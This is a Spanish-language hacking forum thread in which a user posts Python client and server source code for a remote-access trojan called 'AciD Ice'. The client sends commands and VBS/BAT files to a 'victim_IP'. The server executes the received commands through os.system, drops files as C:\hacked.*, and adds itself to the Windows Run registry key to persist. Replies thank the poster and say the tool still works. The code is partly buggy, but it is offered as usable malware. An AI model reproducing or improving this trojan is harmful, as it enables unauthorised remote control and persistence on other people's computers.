Tu comunidad de Seguridad Informatica

[Python]"Troyano"[ by bLiNdFiR3] Info1810 Para ver Todo el contenido del foro es necesario estar Registrado! [Python]"Troyano"[ by bLiNdFiR3] Info1810
[Python]"Troyano"[ by bLiNdFiR3] Info1810 Antes de comentar o Aportar es Obligado Leer Las: Reglas | Rules [Python]"Troyano"[ by bLiNdFiR3] Info1810
[Python]"Troyano"[ by bLiNdFiR3] Info1810Ya Esta Disponible al publico "LeProject" el Videojuego del Foro Click Aquí Para Ver el Post. [Python]"Troyano"[ by bLiNdFiR3] Info1810
[Python]"Troyano"[ by bLiNdFiR3] Info1810Pitbull Security Labs "Extras" Esta Disponible! [ENTRA][Python]"Troyano"[ by bLiNdFiR3] Info1810

No estás conectado. Conéctate o registrate

Ver el tema anterior Ver el tema siguiente Ir abajo  Mensaje [Página 1 de 1.]

1Word 

Word
Usuario
Usuario

Vie Sep 10, 2010 5:10 pm
Cliente:

Código:

import socket
import os
#CLIENT
def body():
      print "AciD Ice Client V-1.2"
      victim_IP = raw_input ("please input an IP to connect to ")
      host = victim_IP
      port = 901
      addr = (victim_IP, 901)
      socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      if(socket1.connect(addr)):
          print "connection Made to remote host =]"
      options()
      text_finished0 = "cmd"
      text_finished2 = "file_vbs"
      text_finished3 = "file_bat"
      text_finished4 = "file_text"
      user_input = ""
      while user_input != text_finished0 or text_finished2:
        user_input = raw_input("input what you want to do? ")
        socket1.send(user_input)
        if user_input == text_finished0 or text_finished2 or text_finished3 or textfinished4:
            break
            options()
            user_input = raw_input("What do you want to do? ")
      if user_input == "cmd":
        text_finished = "done"
        file_text = "" 
        print "When finsihed having fun type 'done n"
        while file_text != text_finished:
              file_text = raw_input("please input the proper command: \n")
              socket1.send(file_text)
              if file_text == text_finished:
                  break
                  options()
                  user_input = raw_input("What do you want to do? ")
      if user_input == "file_vbs":
          text_finished3 = "done"
          file_send = ""
          print "when done type 'done'"
          while text_finished3 != file_send:
            file_send = raw_input("input a VISUAL BASIC SCRIPT file to send: \n")
            file = open(file_send, "rb")
            data = file.read()
            file.close()
            if(socket1.send(data)):
                print file_send,"sent to",victim_IP,"on port 901"
                if text_finished3 == file_send:
                    break
                    options()
                    user_input = raw_input("What do you want to do? ")
      if user_input == "file_bat":
          text_finished4 = "done"
          file_send2 = ""
          while text_finished4 != file_send2:
            file_send2 = raw_input("input a BATCH file to send: \n")
            file2 = open(file_send2, "rb")
            data2 = file2.read()
            file2.close()
            if(socket1.send(data2)):
              print file_send2,"sent to",victim_IP,"on port 901"
              if text_finished4 == file_send2:
                    break
                    options()
                    user_input = raw_input("What do you want to do? ")
      if user_input == "file_txt":
          text_finished5 = "done"
          file_send3 = ""
          while text_finished5 != file_send3:
            file_send3 = raw_input("input a TEXT file to send: \n")
            file3 = open(file_send3, "rb")
            data3 = file3.read()
            file3.close()
            if(socket1.send(data3)):
                print file_send3,"sent to",victim_IP,"on port 901"
                if text_finished5 == file_send3:
                      break
                      options()
                      user_input = raw_input("What do you want to do? ")
 

def options():
    print "remote cmd line commands = 'cmd' "
    print "open/close cd drive (coming soon) "
    print "file transfer (vbs) = 'file_vbs' "
    print "file transfer (bat) = 'file_bat' "
    print "file transfer (txt) = 'file_txt' "
    print "keylogger (coming soon) "
    print "When finsihed having fun type 'done'"
if __name__ == '__main__':
    class mainprog:
      body()


Server:

Código:

#SERVER
import os
import socket
import string
import sys
from _winreg import *
def body():
    try:
      socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      socket1.bind((socket.gethostname(), 901))
      socket1.listen(5)
      conn, addr = socket1.accept()
    except socket.error:
      print "error with sockets"
      data = conn.recv(893892)
      try:
        file = open("C:\\hacked.vbs","w")
        file2 = open("C:\\hacked.bat","w")
        file3 = open("C:\\hacked.txt","w")
      except IOError:
          print "failed to open the programs"
      while 1:
        if data == "cmd":
          data2 = conn.recv(1024)
          os.system(data2)
        if data == "file_vbs":
          data3 = conn.recv(1024)
          try:
            file.write(data3)
            file.close()
          except IOError:
            print "error"
        if data == "file_bat":
          data4 = conn.recv(1024)
          try:
            file2.write(data4)
            file2.close()
          except IOError:
              print "error"
        if data == "file_txt":
          data5 = conn.recv(1024)
          try:
            file3.write(data5)
            file3.close()
          except IOError:
              print "error"
                       
def regwrite():
  aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
  aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
  SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\Server.exe")
  CloseKey(aKey)
  CloseKey(aReg)
if __name__ == '__main__':
      class mainexecution:
        regwrite()
        body()

2alx007 

alx007
Usuario
Usuario

Sáb Jul 23, 2011 2:06 pm
Buena Men [Python]"Troyano"[ by bLiNdFiR3] 538315 una vez utilice algo parecido [Python]"Troyano"[ by bLiNdFiR3] 75649

3kokerocker 

kokerocker
Pro User
Pro User

Jue Ago 11, 2011 3:38 pm
excelente, aún sigue funcional :)

4blasfemia 

blasfemia
Usuario
Usuario

Miér Sep 21, 2011 10:58 am
Gracias por el Aporte bro, nos servirá mucho!!!

5Contenido patrocinado 



Ver el tema anterior Ver el tema siguiente Volver arriba  Mensaje [Página 1 de 1.]

Permisos de este foro:
No puedes responder a temas en este foro.